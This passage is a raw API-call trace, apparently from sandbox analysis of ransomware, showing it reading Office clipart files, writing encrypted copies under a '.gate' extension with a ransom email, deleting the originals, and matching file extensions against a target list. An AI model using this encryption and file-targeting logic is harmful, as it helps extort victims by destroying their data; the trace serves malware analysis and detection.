lpString2=".WMF") returned -1 [0281.089] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.089] lstrlenW (lpString="AN01084_.WMF") returned 12 [0281.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0281.090] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1832) returned 1 [0281.090] CloseHandle (hObject=0x404) returned 1 [0281.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0281.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0281.090] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.091] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0281.091] GetLastError () returned 0x0 [0281.091] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x728, lpOverlapped=0x0) returned 1 [0281.399] WriteFile (in: hFile=0x394, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x730, lpOverlapped=0x0) returned 1 [0281.400] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0281.400] WriteFile (in: hFile=0x394, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0281.400] SetEndOfFile (hFile=0x394) returned 1 [0281.400] CloseHandle (hObject=0x394) returned 1 [0281.401] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.401] SetEndOfFile (hFile=0x404) returned 1 [0281.403] CloseHandle (hObject=0x404) returned 1 [0281.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0281.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.404] lstrlenW (lpString=".doc") returned 4 [0281.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.404] lstrlenW (lpString=".docx") returned 5 [0281.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.404] lstrlenW (lpString=".pdf") returned 4 [0281.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.404] lstrlenW (lpString=".xls") returned 4 [0281.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.404] lstrlenW (lpString=".xlsx") returned 5 [0281.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.404] lstrlenW (lpString=".ppt") returned 4 [0281.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.404] lstrlenW (lpString=".zip") returned 4 [0281.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.404] lstrlenW (lpString=".rar") returned 4 [0281.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.404] lstrlenW (lpString=".bz2") returned 4 [0281.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.404] lstrlenW (lpString=".7z") returned 3 [0281.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.405] lstrlenW (lpString=".dbf") returned 4 [0281.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.405] lstrlenW (lpString=".1cd") returned 4 [0281.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.405] lstrlenW (lpString=".jpg") returned 4 [0281.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.405] lstrlenW (lpString=".doc") returned 4 [0281.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString=".docx") returned 5 [0281.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.405] lstrlenW (lpString=".pdf") returned 4 [0281.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString=".xls") returned 4 [0281.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.405] lstrlenW (lpString=".xlsx") returned 5 [0281.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.405] lstrlenW (lpString=".ppt") returned 4 [0281.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.405] lstrlenW (lpString=".zip") returned 4 [0281.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.405] lstrlenW (lpString=".rar") returned 4 [0281.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString=".bz2") returned 4 [0281.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString=".7z") returned 3 [0281.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.406] lstrlenW (lpString=".dbf") returned 4 [0281.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.406] lstrlenW (lpString=".1cd") returned 4 [0281.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0281.406] lstrlenW (lpString=".jpg") returned 4 [0281.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.406] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.406] lstrlenW (lpString="AN01173_.WMF") returned 12 [0281.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.434] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=26332) returned 1 [0281.434] CloseHandle (hObject=0x4a4) returned 1 [0281.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0281.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0281.686] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.686] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0281.687] GetLastError () returned 0x0 [0281.687] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x66dc, lpOverlapped=0x0) returned 1 [0281.739] WriteFile (in: hFile=0x394, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x66e0, lpOverlapped=0x0) returned 1 [0281.740] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0281.740] WriteFile (in: hFile=0x394, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0281.740] SetEndOfFile (hFile=0x394) returned 1 [0281.740] CloseHandle (hObject=0x394) returned 1 [0281.742] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.742] SetEndOfFile (hFile=0x404) returned 1 [0281.745] CloseHandle (hObject=0x404) returned 1 [0281.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0281.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.778] lstrlenW (lpString=".doc") returned 4 [0281.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.778] lstrlenW (lpString=".docx") returned 5 [0281.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.778] lstrlenW (lpString=".pdf") returned 4 [0281.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.778] lstrlenW (lpString=".xls") returned 4 [0281.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.778] lstrlenW (lpString=".xlsx") returned 5 [0281.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.778] lstrlenW (lpString=".ppt") returned 4 [0281.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.779] lstrlenW (lpString=".zip") returned 4 [0281.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.779] lstrlenW (lpString=".rar") returned 4 [0281.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.779] lstrlenW (lpString=".bz2") returned 4 [0281.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.779] lstrlenW (lpString=".7z") returned 3 [0281.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.779] lstrlenW (lpString=".dbf") returned 4 [0281.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.779] lstrlenW (lpString=".1cd") returned 4 [0281.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.779] lstrlenW (lpString=".jpg") returned 4 [0281.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.779] lstrlenW (lpString=".doc") returned 4 [0281.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.779] lstrlenW (lpString=".docx") returned 5 [0281.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.779] lstrlenW (lpString=".pdf") returned 4 [0281.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.780] lstrlenW (lpString=".xls") returned 4 [0281.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.780] lstrlenW (lpString=".xlsx") returned 5 [0281.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.780] lstrlenW (lpString=".ppt") returned 4 [0281.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.780] lstrlenW (lpString=".zip") returned 4 [0281.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.780] lstrlenW (lpString=".rar") returned 4 [0281.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.780] lstrlenW (lpString=".bz2") returned 4 [0281.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.780] lstrlenW (lpString=".7z") returned 3 [0281.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.780] lstrlenW (lpString=".dbf") returned 4 [0281.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.780] lstrlenW (lpString=".1cd") returned 4 [0281.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0281.780] lstrlenW (lpString=".jpg") returned 4 [0281.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.780] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.781] lstrlenW (lpString="AN02724_.WMF") returned 12 [0281.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0281.781] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2108) returned 1 [0281.781] CloseHandle (hObject=0x394) returned 1 [0281.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0281.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0281.782] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.782] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0281.782] GetLastError () returned 0x0 [0281.782] ReadFile (in: hFile=0x394, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x83c, lpOverlapped=0x0) returned 1 [0281.868] WriteFile (in: hFile=0x3dc, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x840, lpOverlapped=0x0) returned 1 [0281.869] ReadFile (in: hFile=0x394, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0281.869] WriteFile (in: hFile=0x3dc, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0281.869] SetEndOfFile (hFile=0x3dc) returned 1 [0281.920] CloseHandle (hObject=0x3dc) returned 1 [0281.921] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.921] SetEndOfFile (hFile=0x394) returned 1 [0281.924] CloseHandle (hObject=0x394) returned 1 [0281.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0281.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.926] lstrlenW (lpString=".doc") returned 4 [0281.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.926] lstrlenW (lpString=".docx") returned 5 [0281.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.926] lstrlenW (lpString=".pdf") returned 4 [0281.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.926] lstrlenW (lpString=".xls") returned 4 [0281.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.926] lstrlenW (lpString=".xlsx") returned 5 [0281.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.926] lstrlenW (lpString=".ppt") returned 4 [0281.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.926] lstrlenW (lpString=".zip") returned 4 [0281.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.926] lstrlenW (lpString=".rar") returned 4 [0281.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.926] lstrlenW (lpString=".bz2") returned 4 [0281.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.926] lstrlenW (lpString=".7z") returned 3 [0281.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.926] lstrlenW (lpString=".dbf") returned 4 [0281.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.926] lstrlenW (lpString=".1cd") returned 4 [0281.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.927] lstrlenW (lpString=".jpg") returned 4 [0281.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.927] lstrlenW (lpString=".doc") returned 4 [0281.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.927] lstrlenW (lpString=".docx") returned 5 [0281.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.927] lstrlenW (lpString=".pdf") returned 4 [0281.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.927] lstrlenW (lpString=".xls") returned 4 [0281.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.927] lstrlenW (lpString=".xlsx") returned 5 [0281.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.927] lstrlenW (lpString=".ppt") returned 4 [0281.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.927] lstrlenW (lpString=".zip") returned 4 [0281.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.927] lstrlenW (lpString=".rar") returned 4 [0281.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.927] lstrlenW (lpString=".bz2") returned 4 [0281.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.927] lstrlenW (lpString=".7z") returned 3 [0281.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.928] lstrlenW (lpString=".dbf") returned 4 [0281.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.928] lstrlenW (lpString=".1cd") returned 4 [0281.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0281.928] lstrlenW (lpString=".jpg") returned 4 [0281.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.929] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.929] lstrlenW (lpString="AN04108_.WMF") returned 12 [0281.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 